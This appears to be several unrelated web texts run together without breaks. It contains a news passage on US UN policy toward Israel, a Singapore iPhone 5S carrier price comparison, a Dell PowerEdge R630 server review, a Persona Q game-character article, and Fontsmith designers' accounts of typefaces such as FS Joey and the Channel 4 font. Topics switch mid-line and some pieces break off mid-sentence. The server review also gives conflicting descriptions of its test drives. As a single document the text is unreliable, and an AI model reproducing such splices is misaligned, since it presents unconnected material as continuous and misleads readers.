Grant Rumley, research analyst at the Foundation for Defense of Democracies, says Power's comments are "a departure point [from past U.S. policy], but it’s not a recent departure point." He says the U.S. has indicated it would allow the French to bring forward a similar resolution to the one that failed last year.
"Her comments today are further reinforcing this notion that whenever that resolution gets to the Security Council – if nothing changes between then – the U.S. is probably not going to veto," Rumley says.
The U.S. in May also blocked a resolution at the Review Conference of the Parties to the Treaty on the Non-Proliferation of Nuclear Weapons that would have required Israel to rid itself of its nuclear stockpile due to a ban on such arms in the Middle East.
"The United States and the Obama administration have consistently opposed the delegitimation of Israel. We've also consistently pushed for legitimation of Israel across the U.N. system," Power said Tuesday. "We uniformly oppose one-sided actions designed to punish Israel and we will continue to do so. I want to be very clear. In most cases, in many cases at least, we are actually able to build coalitions and prevent things from coming up to a vote."
Despite these assurances, Power said "now is a moment in which it's not exactly clear how progress towards two-state solution is likely to be made."
Rep. Ed Royce, R-Calif., chairman of the House Foreign Affairs Committee, said the U.S. must support negotiations between Israel and the Palestinians rather than supporting Palestinian efforts to dictate the conditions of peace through the U.N.
"The reason so many members brought the issue up, including me in my opening statement, was for us to make this point to the administration," Royce tells U.S. News. "We think it's important that this issue be resolved between Israel and the Palestinian people and that the United Nations, given its bias against Israel – its very problematic … to have that become a platform for trying to reach a peaceful agreement."Apple iPhone 5S Price Plans Comparison
Apple iPhone 5S and 5C Prices in Singapore
On 20 September, Apple's iPhone 5S and 5C will be made available in Singapore. To find out what's new in the two iPhones, do check out our article on "All You Need to Know about the Apple iPhone 5S and 5C". For starters, we'll be comparing the prices and telco price plans for the iPhone 5S, while the following page covers the iPhone 5C.
iPhone 5S 16GB 32GB 64GB Recommended Retail Price $988 $1,148 $1,288
*Update on 21 September
You can check the stock availability at the three telcos at the following links below:
iPhone 5S Prices with 2-year Contract
Basic Plans Comparison
Data Plan M1 SingTel StarHub Name Value+ Lite SmartSurf Lite iPhone Prices 16GB - $515
32GB - $665
64GB - $820 16GB - $538
32GB - $668
64GB - $818 16GB - $532
32GB - $677
64GB - $816 Monthly Subscription $39 $39.90 $38 Local Outgoing Mins 120 100 100 Local SMS 600 800 800 Local Data Bundle 2GB 2GB 2GB Total Cost Over Two Years 16GB - $1451
32GB - $1601
64GB - $1756 16GB - $1495.60
32GB - $1625.60
64GB - $1775.60 16GB - $1444
32GB - $1589
64GB - $1728
Mid-tier Plans Comparison
Data Plan M1 SingTel StarHub Name Lite+ Value SmartSurf Value iPhone Prices 16GB - $265
32GB - $365
64GB - $525 16GB - $278
32GB - $368
64GB - $528 16GB - $281
32GB - $392
64GB - $546 Monthly Subscription $59 $59.90 $58 Local Outgoing Mins 300 200 300 Local SMS 800 900 900 Local Data Bundle 3GB 3GB 4GB Total Cost Over Two Years 16GB - $1681
32GB - $1781
64GB - $1941 16GB - $1715.60
32GB - $1805.60
64GB - $1965.60 16GB - $1673
32GB - $1784
64GB - $1938
High-tier Plans Comparison
Data Plan M1 SingTel StarHub Name Extreme+ Plus SmartSurf Premium iPhone Prices 16GB - $45
32GB - $125
64GB - $260 16GB - $48
32GB - $128
64GB - $278 16GB - $59
32GB - $142
64GB - $276 Monthly Subscription $98 $99.90 $98 Local Outgoing Mins 700 500 700 Local SMS 1,000 1,000 1000 Local Data Bundle 5GB 4GB 6GB Total Cost Over Two Years 16GB - $2397
32GB - $2477
64GB - $2612 16GB - $2445.60
32GB - $2525.60
64GB - $2675.60 16GB - $2411
32GB - $2494
64GB - $2628
Premium Plans Comparison
Data Plan M1 SingTel StarHub Name Max+ Prestige SmartSurf Elite iPhone Prices 16GB - $0
32GB - $45
64GB - $105 16GB - $0
32GB - $0
64GB - $0 16GB - $0
32GB - $0
64GB - $78 Monthly Subscription $198 $239.90 $205 Local Outgoing Mins Unlimited Unlimited 2000 Local SMS 2000 Unlimited 2500 Local Data Bundle 12GB 12GB 12GB Total Cost Over Two Years 16GB - $4752
32GB - $4797
64GB - $4857 16GB - $5757.60
32GB - $5757.60
64GB - $5757.60 16GB - $4920
32GB - $4920
64GB - $4998
Quick Analysis
For consumers who are using or eyeing the basic-tier or mid-tier plans and want to get the iPhone 5S (16, 32 and 64GB), StarHub offers the best deals over a two-year period. M1 might seem like a better buy for the 32GB iPhone 5S on the mid-tier plan, but there's more value to be had on StarHub like an extra 1GB of data bundle every month for just $3 more for the whole two years!
For consumers who are using or eyeing the high and premium-tier plans, and want to get the iPhone 5S (16, 32 and 64GB), M1 offers the best deals across the board as it offers the most affordable premium plan at $198/month. Of course, with the kind of investment made over the two-year period, it's clearly better to purchase the 64GB iPhone 5S to get the most out of your money's worth.by StorageReview Enterprise Lab
Dell PowerEdge R630 Review
At this point the Dell PowerEdge R630 isn't exactly new, but there is definitely renewed interest in the 1U server platform as the Dell EMC continues to fold together. The R630 makes for an excellent node in software-defined deployments ranging from vSAN to ScaleIO. While diminutive in rack footprint, don't let the R630 fool you; it's a full-fledged dual-socket PowerEdge supporting the latest Intel Broadwell CPUs, up to 1.5TB RAM and configurations with up to 24 1.8" SSDs. Our configuration is a bit more conventional with a twist, ten 2.5" bays; six supporting SATA/SAS drives as well as four NVMe bays supporting the latest in high-performance storage.
When comparing the R630 for instance with the traditional 2U R730, the most noticeable difference from the reduced height is fewer front-mount drive bays as well as less internal expansion slots. The R630 has 2 or 3 depending on configuration, whereas the R730 supports up to 7. For many environments the denser R630 will be a great choice, where those that require additional edge cards for storage, networking or VDI GPUs will opt for the R730. As noted though, in software-defined environments where the nodes fit a fixed configuration and don't really change over time, the R630 provides a density and power combination that fits a wide array of use cases.
From a storage perspective, one of the more compelling options is the ability to configure the server with NVMe SSDs. When selecting this backplane, "Chassis with up to 6, 2.5" Hard Drives, 4 PCIe SSDs, 3 PCIe Slots," Dell opens up the ability to add up to four NVMe drives. With current high-performance NVMe SSDs pushing to 3.2TB and beyond, the R630 opens up a wide range of possibilities in the 1U platform.
For testing, we configured the R630 with Dual Intel E5-2699 v4 Broadwell processors and 24 x 32GB DDR4. Storage metrics were attained using a set of 4 Intel 2TB P3700 NVMe SSDs.
Dell PowerEdge R630 Specifications
Processor: Intel Xeon processor E5 2600 v4 product family
Operating System Options: Microsoft Windows Server 2008 R2 Microsoft Windows Server 2012 Microsoft Windows Server 2012 R2 Microsoft Windows Server 2016 Novell SUSE Linux Enterprise Server Red Hat Enterprise Linux VMware ESX
Chipset: Intel C610 series chipset
Memory: Up to 1.5TB (24 DIMM slots): 4GB/8GB/16GB/32GB/64GB DDR4 up to 2400MT/s
Embedded Hypervisor (Optional) Microsoft Windows Server 2012, with Hyper-V VMware vSphere ESXi Citrix XenServer
Storage: HDD: SAS, SATA, nearline SAS SSD: SAS, SATA, NVMe PCIe Up to 24 x 1.8” SATA SSD Up to 10 x 2.5” HDD: SAS, SATA, nearline SAS SSD: SAS, SATA, Up to 4 NVMe PCIe Up to 8 x 2.5” HDD: SAS, SATA, nearline SAS SSD: SAS, SATA
Slots 2 CPUs, 3 slots Slot 1: Half length, half height - PCIe 3.0 x16 (x16 connector) Slot 2: Half length, half height - PCIe 3.0 x8 (x16 connector) Slot 3: Half length, half height - PCIe 3.0 x16 (x16 connector) 2CPUs, 2 slots Slot 1: Half length, half height - PCIe 3.0 x16 (x16 connector) Slot 2: 3/4 length, full height - PCIe 3.0 x16 (x16 connector) 1CPU, 2 slots Slot 1: Half length, half height - PCIe 3.0 x8 (x16 connector) Slot 2: 3/4 length, full height - PCIe 3.0 x16 (x16 connector
Power 1100W AC, 86 mm (Platinum) 1100W DC, 86 mm 750W AC, 86 mm (Platinum) 750W AC, 86 mm (Titanium) 495W AC, 86 mm (Platinum)
Design and Build
The Dell PowerEdge R630 rack server consists of a very compact build that allows for a lot of versatility and support for several different configurations. This includes an 8 drive system with up to eight 2.5-inch bays; 10 drive systems with up to ten 2.5 inch bays (our configuration); and a 24 drive system with up to twenty-four 1.8 SATA SSDs. The R630 focuses on ease of use when it comes to configuration and packs all of the features one requires in an enterprise-grade server such as redundant power supply units, hot-plug and swappable PSUs, cooling fans and a dual SD card option for failsafe hypervisors.
Using a 10-drive configuration, all functionality is located on the left side of the R630 front panel. Located here are the diagnostic indicators, which light up to display error status; the system health indicator, which blinks amber when it detects a system fault; the mini USB connector/iDRAC Direct, which allows you to connect USB devices to the R630 or provides access to the iDRAC Direct features; and the power-on indicator and button. The NMI button (can be pressed using the end of a paper clip) is used to troubleshoot software and non-recoverable errors that need immediate attention. Located in the middle of the functionality area of the front panel is the System identification button (which is located on the back panel as well). This button is used to locate a specific system within a rack.
As is the case with all rack servers, the majority of the front panel real estate is taken up by the drive bays. In our 10 drive setup, this translates to either up to ten 2.5 inch hot-swappable drives, though users have the option to use six 2.5 hot-swappable drives or up to four NVMe devices.
The back of the PowerEdge R630 provides access to a wide range of connectivity and expansion opportunity. On the left are the second system identification button and connector, iDRAC8 Enterprise port, and serial, video, and USB 3.0 (two) connectors. Above these ports are the PCIe expansion card slots (one low profile and one full height 3/4 length), which allow for various PCIe cards can also be installed on the rear panel, including additional NICs and adapters.
The four Ethernet connectors are located in the middle of the back panel while the redundant power supplies are located on the far right. For former, configurations include Four integrated 10/100/1000 Mbps NIC connectors or two integrated 10/100/1000 Mbps NIC connectors and two integrated 100 Mbps/1 Gbps/10 Gbps SFP+ connectors. For the latter, users have the option of choosing between 495W, 750W, or 1100W power supplies, depending on their power needs.
To open up the server, simply turn the latch release lock to unlock the cover, and then lift the cover release latch to remove it. Inside you will see the redundant power supplies at the back left, which is right next to the riser and network daughter cards. Front and center are the two Intel E5-2699 v4 processors surrounded by 24 x 32GB DDR4 memory sticks. Moreover, the server is equipped with a generous seven different fans at the front of the server, which is needed in order to ensure this system is operating cool and efficiently under demanding workloads.
Management
The Dell PowerEdge R630 leverages the Integrated Dell Remote Access Controller 8 (iDRAC8) with Lifecycle Controller, which offers extensive remote monitoring, management and deployment capabilities. Similar to other PowerEdge platforms, it also supports Dell OpenManage Server Administrator (OMSA) software and OpenManage Essentials (OME) systems management console. OSMA is used for agent-based management deployments, offering one-to-one system management from the command line or a Web GUI while iDRAC provides remote access to the system whether or not there is an operating system installed.
In our lab, iDRAC has been one of our favorite remote management platforms to work with on and ongoing basis. Outside of physically swapping out hardware, iDRAC allows us to completely manage every aspect of a server from configuring and deploying software, to pulling in its own firmware updates through the Lifecycle Controller. The latter is one that many rivals still require users to download updates themselves, attach to the iKVM as an ISO (or upload software to the device web GUI) and load in a semi-automated fashion. Dell takes that a step further, and with an active Internet connection a PowerEdge platform can find its own updates, pull them down from a Dell FTP site and stage the install process itself unattended. This makes the process of maintaining servers over their lifetime incredibly easy. As a lab that frequently updates system for device compatibility for testing purposes, streamlining this process takes away a lot of stress.
Sysbench Performance
Each Sysbench VM is configured with three vDisks, one for boot (~92GB), one with the pre-built database (~447GB) and the third for the database under test (270GB). From a system resource perspective, we configured each VM with 16 vCPUs, 60GB of DRAM and leveraged the LSI Logic SAS SCSI controller.
Sysbench Testing Configuration (per VM)
CentOS 6.3 64-bit
Storage Footprint: 1TB, 800GB used
Percona XtraDB 5.5.30-rel30.1 Database Tables: 100 Database Size: 10,000,000 Database Threads: 32 RAM Buffer: 24GB
Test Length: 3 hours 2 hours preconditioning 32 threads 1 hour 32 threads
Our Sysbench test measures average TPS (Transactions Per Second), average latency, and the average 99th percentile latency at a peak load of 32 threads. First looking at the average TPS, the PowerEdge R630 reached 10,682.91 TPS with four virtual machines. When boosting the configuration to eight virtual machines, it was able to reach 14,527.8 TPS (a 31% increase).
Moving to the average latency of the Sysbench benchmark, the R630 showed 11.9925 with 4 VMs while reaching 17.6925ms when configured with 8 VMs, which is an increase of roughly 38%. As such, we expect higher latency as we add more virtual machines.
In terms of our worst-case MySQL latency scenario (99th percentile latency), the R630’s latency increased by 34% when moving from 4 VMs to 8 VMs, or, more specifically, 22.958ms to 32.525ms.
SQL Server Performance
StorageReview’s Microsoft SQL Server OLTP testing protocol employs the current draft of the Transaction Processing Performance Council’s Benchmark C (TPC-C), an online transaction processing benchmark that simulates the activities found in complex application environments. The TPC-C benchmark comes closer than synthetic performance benchmarks to gauging the performance strengths and bottlenecks of storage infrastructure in database environments.
Each SQL Server VM is configured with two vDisks: 100GB volume for boot and a 500GB volume for the database and log files. From a system resource perspective, we configured each VM with 16 vCPUs, 64GB of DRAM and leveraged the LSI Logic SAS SCSI controller. While our Sysbench workloads tested previously saturated the platform in both storage I/O and capacity, the SQL test is looking for latency performance.
This test uses SQL Server 2014 running on Windows Server 2012 R2 guest VMs, being stressed by Dell's Benchmark Factory for Databases. While our traditional usage of this benchmark has been to test large 3,000-scale databases on local or shared storage, in this iteration we focus on spreading out four 1,500-scale databases evenly across our servers.
SQL Server Testing Configuration (per VM)
Windows Server 2012 R2
Storage Footprint: 600GB allocated, 500GB used
SQL Server 2014 Database Size: 1,500 scale Virtual Client Load: 15,000 RAM Buffer: 48GB
Test Length: 3 hours 2.5 hours preconditioning 30 minutes sample period
During the SQL Server test, the R630 handled 15,000 virtual users with ease, measuring 12,551.7 TPS in aggregate. Virtual machine configurations ranged from 3,136.0 TPS to 3,139.9 TPS.
When looking at average latency using the same virtual user workload, the R630’s aggregate latency was 36.25ms, which consisted of ranges from 33ms (VM2) to 39ms (VM4).
Conclusion
As with many Dell PowerEdge solutions, the R630 is a versatile and feature-rich server platform. The PowerEdge R630 specifically, is ideal for a wide range of use cases in software-defined environments where the nodes fit a fixed configuration and generally remain static over the long haul. Users have the option of equipping the R630 with the latest Intel E5-2600 v4 CPUs, up to 1.5TB RAM and configurations with up to 24 1.8" SSDs (though our build was comprised of a 10-drive configuration). All of this is intelligently packed into a small 1U form factor. Size certainly doesn’t matter with the R630, however, as this server showed some impressive performance during our Sysbench and SQL Server tests despite its small physical footprint.
As mentioned above, the R630 also has some intriguing configuration options, specifically around NVMe SSDs. This allows for a generous amount of high performance storage using 4 drive bays (up to 12.8TB based on 3.2TB models) combined with six bays of more conventional storage options. For our tests, we equipped the R630 with dual Intel E5-2699 v4 processors, 24 x 32GB DDR4, a single PM1725 3.2TB NVMe, and four Intel NVMe drives we have in the lab. As far as performance goes, the R630 was able to pack a wallop in its small 1U form factor. In Sysbench, we saw aggregate TPS performance of 14,528 with 8 VMs, with an average aggregate latency of 17.7ms, and a worst-case scenario latency of 32.5ms. In our SQL Server benchmark, the R630 had an aggregate score of 12,551.7 TPS with an average aggregate latency of 36.3ms.
Bottom Line
The Dell PowerEdge R630 packs quite a performance punch in its compact form factor. As with most units in the PowerEdge line, there is enough customizability for the R630 to hit any number of needs.
Dell PowerEdge R630 Product Page
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Sign up for the StorageReview newsletterPersona Q: Shadow of the Labyrinth Videos Show More Of Its New Characters
By Sato. January 31, 2014. 3:30am
Earlier tonight, we got a look at Persona 3’s Ken Amada and Koromaru in chibi-form for Persona Q: Shadow of the Labyrinth. Atlus also gives us a closer look at the two new characters Rei and Zei, who’ve both lost their memories, in their latest character introduction videos.
Rei’s video starts out with her telling Zen to not go inside, because there are “scary things” in there. She is then seen telling him that she wants to return with everyone else, and urges him to go back with her.
Rei is known to be a bit of a glutton and shows it when she says that she’s hungry now that she feels relieved. Once they all find their way out of the labyrinth, her wish is to go out with everyone to eat a bunch of foods like okonomiyaki, candied apples, cotton candy, and more.
While she is often seen asking other characters if unknown words to her are foods, and offers them a bite of her corndog, she is actually frightened in the mysterious labyrinth.
Zen is a bit more on the quiet side compared to Rei, and while both of them have lost their memories, he’ll still do anything it takes to protect her. In the video he shows his care by always making sure Rei is fine, and he even stands up to Teddy by asking if he insulted her.
In the middle of the video, he says “People have multiple sides to them; however, that doesn’t mean I’ll be accepting of them,” so it seems like it won’t be easy having him open up to the other characters of Persona 3 and Persona 4.
At the end of the video, Zen says that he was looking for something in that world, because Rei was crying, and he couldn’t find that “something”.
Persona Q: Shadow of the Labyrinth will be released on June 4, 2014 in Japan for |
SeeSaw had gone live in a slightly different form; ITV had pulled out and Virgin Media and Channel 5 stepped in. I thought that the name ‘Joey’ was a good idea as it hinted towards the original Kangaroo project. Straight away, people started to notice the typeface. I can take credit for getting the design idea right and pushing the art direction, but Fernando was key to pulling it all together and adding his own distinct flavour. It’s now one of my favourite designs in our library. That ‘g’ is great! Where did the idea come from? Fernando: FS Joey has its origins in the first big project I did together with Jason when I joined Fontsmith in 2008. We were working with Rudd Studio on the logotype for SeeSaw and like any designer, I was really excited about it, drawing and sketching lots of ideas. Because we were dealing with an online video service, legibility on screen was one of the key elements we had to consider. And the typeface needed to have a distinct, strong and corporate feel. What was the creative process? Fernando: Initially we worked on designing the six letters for ‘SeeSaw’, while Rudd Studio was experimenting with an icon and how to place the letters together with it. Both studios were working closely together and Jason and I created almost a hundred different ideas for these letters. We tried everything, from round and chubby to blocky, simple and industrial. We developed the best ones and placed them in dummy layouts to check the feel and legibility of the letters. The chosen concept was a mix of round, pleasant shapes and a modern, corporate feel. The logo kept changing but the concept and the feel had been defined. Although its performance on screen was paramount, we weren’t afraid of experimenting and came up with some unusual ideas and features: The condensed character, the slightly curved diagonal stems, the unconventional lowercase ‘g’, the simple shape of the lowercase ‘r’, all proved to work well. We had created an exceptional corporate font that could stand strong with its distinct and unusual feel. The project was then cancelled. We had completed a regular and a bold weight but the typeface was put on standby. We knew it was something special and kept it. We were able to release the font at the beginning of 2010, and the simplicity and familiarity of the name ‘Joey’ seemed appropriate. It soon made its way into our list of best sellers, and has a Pro version on the way soon.
Channel 4 The story of a
game-changer
by Jason Smith. How did you get involved? Back in 2004 I was in touch with my old mates Matthew Rudd and Brett Foraker who I’d worked with on the launch of E4 a few years earlier. They were working on a top-secret pitch for the new Channel 4 (C4) identity. Brett was putting together a team of creatives to work together. This was to be a game-changer. C4 have a remit from the Government to push the boundaries and create dialogue visually, creatively, in its programme making and in its audience. I was chosen to be part of that creative team after a pitching process. I involved myself with all aspects of the design from tone of voice, vision, music, moving image, ideas and craft. My job was to take that essence and design a typeface with a killer quirk to back up the on-air and off-air identities. What were the challenges? Should I design to complement the new logo or match it? How hard does the font work on it’s own? What are the technical restraints? One thing I discovered was that fonts on-air react very differently depending on the colour used for the background. It is the total opposite of print, for example white on black appears heavier on telly where as in print it fills in. The idea was that the font would be able to stand-alone and be the identity of the channel without the need for a big C4 logo. Again... me and my ‘g’s, I created something that was quirky but well structured and visually unique for the Headline type. What was the creative process? The idea started with looking at and working on the new logo, which was edgy and abstract. Matt and Brett influenced the design as it evolved, along with their own developments of on-screen and off-air uses. These fonts had to work on serious news programming as well as the Ali G show, so it was bloody hard to get the balance right. I developed a Text version along with the Headline type that had all the quirky bits chopped off so it became more legible and square. I then designed a Condensed version for the news and a special cut of the Headline for on-air menus that had shorter ascenders, so the leading could be tighter. After that, another version was made for C4 Learning. This had a primary ‘a’ and ‘g’ along with a couple of other changes to make it more accessible. What effect did it have on Fontsmith? This is one of the best things I’ve done, mostly because it changed the way TV brands addressed their audiences. It was a game-changer and for me personally, it put me on the map amongst the design community. The C4 identity and typeface has won several big awards including D&AD Gold and Creative Review Type awards. It was also the start of my love affair with broadcast design. The C4 typeface was followed by: More 4, Film 4, ITV, BBC1, Kanal 5, Living TV, Sky 1, GOLD, Virgin Media, Sky News, and more... This typeface has delivered a solid glue of personality to the C4 brand and is hugely successful. But whether it’s Channel 4, Big Brother, BBC News... it’s strange seeing your work feature so high-up in the public consciousness. I love the fact that on election night every news channel in the country had a typeface designed by me somewhere: ITV, BBC, Channel 4, Sky News... everyone was looking at my designs that night!
FS Icon Collection The story of our
great experiment
by Phil Garnham
and Jason Smith. What was your vision for the process? Jason: I knew Phil was chomping at the bit to do something that was more him, something a bit wilder, a bit more expressive and record sleeve cool. We both sat down and worked out that it was a good idea to do a modern version of the ‘Architype’ series by The Foundry. I knew in my mind what I wanted the series to be, a bit of variety and modernity. After a few weeks Phil came up with a varied range of designs. We sat down together and chose what turned out to be Alvar, Kitty, Pele, and Sinclair. We really wanted to show to our work, the side that wasn’t afraid to experiment and tear up the rule book. Of course Phil and I fought over the lowercase 'g’ again, also the ‘k’. I was quite annoyed going home one Friday, not sure how to handle things on Monday. I probably said something like, ‘I’m the boss, don’t do it like that’. Of course, Phil wasn’t happy, but within a few days he was eating his words and said I was right. It’s very funny looking back, and sounds like we did nothing but argue. But it wasn’t like that at all. Phil was asserting that his creative opinion was right... mine was just more right! In the best possible way of course. It is sometimes like that. What inspired you? Phil: Following the release of Lola towards the end of 2006, I was consumed by a creative desire to push on and do something with the graphic shapes that I had spent years gathering and experimenting with. There was a collection of shapes that just had to be explored and brought to life in typography. We debated long and hard about this. It was a big decision to shift away from the typefaces that people knew us for and we didn’t want to compromise our reputation. But it had to be done. We wanted to show a new dimension to Fontsmith, a more creative and expressive side to our understanding of typeface design. And we’d had enough of seeing loosely thrown together free headline fonts. We wanted to take a stand as a foundry and offer headline fonts that were unique and of a high quality. It soon dawned on us that our idea was an almost complete mirror of the Foundry’s ‘Architype’ collection but with one key difference: The majority of their designs were reproductions and developments of classic modernist fonts. Our aim was to create new, post-modern headline forms by exploring form for form’s sake. How did the creative process develop? Phil: We dived into the exploratory process by spending a few weeks, going through our library of shapes: copying, skewing, twisting overlaying and so on. I think we probably developed enough ideas to create twenty or thirty fonts. And this was the point where we realised we needed to release the final fonts as a collection. We printed out, analysed and grouped the ideas into our haphazard type classification system of: Bitmappy, Blocker, Curvy, Loopy, Folded, Modular, Stripe, Techy and Thinner. We worked up a clear look and feel around the typographic mood board and we choose four to release. Jason: Out of this set of fonts I actually love Kitty and Pele the best, I think Alvar is really under-used and will be discovered one day by someone. Great job all round Phil! There was a great sense of camaraderie doing this project, both of us had a vision and neither of us had to compromise, far from it we both added our expertise and Fontsmith is now in the proud position to offer fonts to all types of creative, for all sorts of projects. FS Alvar The forms of Alvar actually originated in 2001 whilst I was at Middlesex University. There was a D&AD Student Awards brief to create a typeface inspired by potato cutting. At the time this was my second attempt at doing type design. I cut some raggedy shapes, which printed poorly. It didn’t look a bit like a potato print but then I thought who cares, it’s my process and I’m going to damn well celebrate it! I developed a poor typeface called something like ‘Potato Sans’ and put it in the ideas locker. I needed to revisit it. There was something nice about the proportions in that potato cut and now I could draw type properly! I worked it up but it still needed something to give it that edge. Jason stood up and supplied the missing link: ‘Why don’t we make it stencilled? Not in an obvious way but make the stencil an inherent part of the letterform. Like an architectural stencil’ It worked and the idea of using an architect’s name to describe the font felt perfect. FS Kitty Kitty had been living in my sketchbook for over a year. It was in the mix as a basic form when I started thinking about Lola. It was a twisted, bubbly beauty... quite squishable and huggable... the working file was called ‘Blubber’. I created the ‘a’ first, purely as a shape to play with, not as type. I flipped it for ‘v’, I copied it for a ‘w’. I flipped the ‘w’ for an ‘m’ and so on. I carried on and built the whole character set outside of any font software and then imported it. The trickiest characters were the ‘B’, ‘P’ and ‘R’. When the regular weight had been designed, it just felt like a natural progression to go on and explore how far Kitty could go: Light, Solid, Headline and Shadow emerged. We know people are using Kitty, in fact it was the first font that we sold from the whole collection on the day it was released but I still haven’t seen it out there in the wild... it’s going to be a exciting moment. FS Pele Pele began as a simple study into the levels of manipulation required to turn a square into an alphabet. The concept ties into my approach to logo making: The search for a solid, block-shaped mark that conveys authority, strength and stability. Our firm, dogmatic approach was focussed on linking the forms through the grid, to keep letter relationships and widths constant without sacrificing legibility. I think at the time there were a lot of graphic designers creating their own versions of these fonts but we wanted to add more clarity to the process. I wanted to take the forms to the next step and create a more legible text without sacrificing the idea. I’ve seen two fantastic uses of Pele, one by Vince Frost for the D&AD Ampersand magazine and the second by Peter and Paul in a logo for Jefferson Sheard Architects. FS Sinclair Sinclair is our techy font. It probably represents our inner computer geek. We had finished the Channel 4 typeface a year or two beforehand. We wanted to create something that took the same creative essence from that project but be more structurally informed, less flexible as a form and more aggressive. We didn’t want it to look retro but wanted to reference the past, and we also wanted to find a way for it to inform the future. A lot of the original concepts were very jagged, mainly because we were conscious of getting too close to other fonts like Gridnik. Inevitably though, Sinclair did get developed into a more accessible, ‘grid’ based type design in order to deliver a readable and functional typeface that answered our brief.
UEFA
Champions League The story of the
ultimate football fan
by Jason Smith and
Emanuela Conidi. What was your vision for UEFA Champions League? Jason: Emanuela had just joined. I was very busy and had been called by a couple of TV guys who used to run English & Pockett. I jumped on the train down to Richmond and met them. The Champions League! This is one of the world’s biggest sporting tournaments! …Wow!… Free tickets!! I got Emanuela to put together some ideas and sketches that could work with the identity. I wanted something that hinted towards their starburst football logo and on-air ident. About four designs were shown, including something that I designed 23 years ago, as a student. It worked! Although the design was a bit spiky, it could be developed to suit UEFA Champions League. Emanuela, worked very hard to get the idea to work and I have to say did a marvellous job for her first main project at Fontsmith. She really added strength and usability to the design. UEFA were very happy with the result and were excited about the new font. When we presented the final design to the UEFA brand team showing the font on different applications and images, I snuck in one extra slide showing a frame from a Man U game, with the new typeface over the top in white reading 'If Man United get to the final, can I have some tickets?' They loved it! What inspired you about this project? Emanuela: Let’s start with saying that I am a huge football fan and a supporter of AC Milan. Unfortunately, since I’ve been in the UK I haven’t had the chance to see much of them. But I had a great time in Milan for a few years with a season ticket standing in the middle of the AC Milan ultras supporter section. Ah, I miss it! I started working at Fontsmith at the beginning of November 2008, after completing a Masters degree. Before that I had run my own studio in Milan as a graphic designer, so being an employee and a type designer was a double fresh start making me a bit apprehensive about my first job in the studio. Then I got an unexpected present: My first project would be for UEFA, a new typeface for the Champions League! What was the creative process? We got a brief from the client, describing what the whole Champions League brand is all about (nothing I didn’t know already!). The tournament is the world’s premier club football competition, with an annual television audience of 288 million. The typeface had to convey the same prestige. To start with we did some research and put together a presentation as a visual and inspirational background. We added some sketches, picking details and features that would ideally develop into the typeface, building its unique personality. We then sent four proposals from the studio and the client picked two. One of the two was my proposal, the other was one of Jason’s. We developed the two a bit further, but in the end they went for Jason’s. From there we developed the Regular weight, and then the Bold, managing to add in some characteristics from my original idea. The design went back and forth between Jason and I, who made comments and corrected the curves. We spent a lot of time designing the lowercase 'g'. We wanted something quirky and dynamic. It’s always a fun letter to work with, but in this case it was also extremely important because it’s in the word ‘League’. The pain was worth it though, it’s the best letter of the whole set. The project also had the additional challenge of needing a full set of letters from the Cyrillic alphabet. I enjoyed that opportunity, and it was a real test on several levels! As soon as I could talk about it I told all my friends. My dad was obviously impressed, even if I can’t say for sure that he actually noticed the font during matches! But I’m really proud of it, I think it looks great and is a perfect fit for UEFA.
Fontsmith Logo
Design The story of some
clever crafting
by Jason Smith
and Phil Garnham. Jason: When I was 16, I marched off to Art College with my barely passed GCSE results. I wanted to do the Graphic Design course but all the spaces had been taken. So I did Calligraphy, Lettering and Signwriting instead. Obviously this wasn’t going to get me a job, so I concentrated on lettering and logotypes. Having a calligraphic background was a great start. I splashed ink around with various utensils and got a good feel for making marks. But it was only when I started working with David Quay that I really drew logo ideas, built up from expressive calligraphy and redrawn into typographic solutions. I started on book jackets for Penguin, advert headlines, company logos and lots of packaging. All sketched and inked and photographed, but it still wasn’t graphic design. Some years later I became the in-house lettering artist for a company called Wagstaffs. My job was to come up with the lettering styles to match product or brand: Quavers, Jaffa Cakes, Flake, Hovis, Ready Brek… they were all mine. There were also loads of cheeses, crisps, pickles, cereal, chocolate and so on. I was dealing with questions like: ‘How do you make a word look fizzy for a fizzy drink?’ That was great fun. I remember walking around supermarkets only buying products I had done the lettering for! Once Fontsmith started I became much more involved with corporate identities rather than consumer brands, dealing with questions like ‘How do you make a company name look technical, holiday-like, safe or industrial?’ I started to understand how brand values could be interpreted into type. Every branding project needs a typographic route. They weren’t always used but it developed a different thought process and I was getting ever closer to being a designer working in graphics and branding. Often we’ve been asked this very thing: ‘Give us a typographic route to show the client’ or ‘See if you can find some trick in the name and make a wordmark’. We always spend a day or so sketching out logo ideas, caps, lowercase, looking for that elusive trick. The other side to this is that designers bring us a logo and say, ‘Draw this properly for us please, add that little bit of Fontsmith to it, but don’t change it too much because the client has already signed it off.’ Type, lettering and logos are all about clever ideas and having real crafting skills to make them work. Phil: From time to time we like to indulge our creative and crafting energies in the world of typographic logo construction. I say construction, because essentially every good typographic logo should be constructed with the same attributes in order to serve its purpose. It should be confident and solid in the nature of the curves, the spacing of the letters, and overall visual harmony, in order to create a solid, authoritative, almost rubber stamp-like mark. From a learning perspective, I really do think logo projects have given us an edge. Whilst still dealing with typographic matter, designing type logos requires a very different set of skills that don’t necessarily comply with standard typeface design thinking and process. Working on these projects has helped us as a foundry to view type design differently in terms of its wider implications in a brand context. By working on this mix we have been able to feed in elements of each discipline, which has been superb in informing all of our work. 1. Artwork Probably the most common brief that we receive is to artwork a typographic idea that an agency has been playing with but for one reason or other they want that finesse and craft that our typographic eyes can bring. In terms of creativity on our part, it is limited, we work to realise our clients’ ideas by finely crafting, adjusting and getting the spacing just right on the letterforms. 2. Speculative Exploration / Concepts Often well-known brand names approach us to explore the creative possibilities for their logo. This is often an exciting time in the studio where anything goes in terms of creativity. We typeset stuff, look for those relationships in the letter combinations that open themselves up for a typographic trick, or think entirely in an abstract way and just play with shapes. We come together at the end of the day, stick our prints up as typographic wallpaper, and shoot each other's ideas down... all in good fun. We each have our own processes but I tend to begin with a phased evolutionary approach as a warm-up, then get bored and jump in a totally different direction. 3. Brand Approach Brief: ‘Our company is moving forward and needs a cohesive typographic approach, a new logo and a new typeface.’ From a Fontsmith perspective we understand the brand intentions, the values and the concept. We explore form, relationships, colour and context. Sometimes the type comes directly from the logo and sometimes the type complements the logo. Sometimes the client doesn’t even realise they want a typeface until we show them how great things can be! That’s what happened with BBC One. There’s something very powerful about this level of typographic continuity. This is especially true when you have sub-brands that require the same voice but do not require the holding company logo: Words reflect meaning but type reflects feeling and emotion. When the two work together, type becomes a powerful and unique branding tool. Jason: Typographic ideas for logos i.e. wordmarks are not explored enough. Fontsmith is certainly under used in this area by our clients. It has always been a goal of mine to have the time and opportunity and commissions to truly explore and visualise great typographic ideas, finding 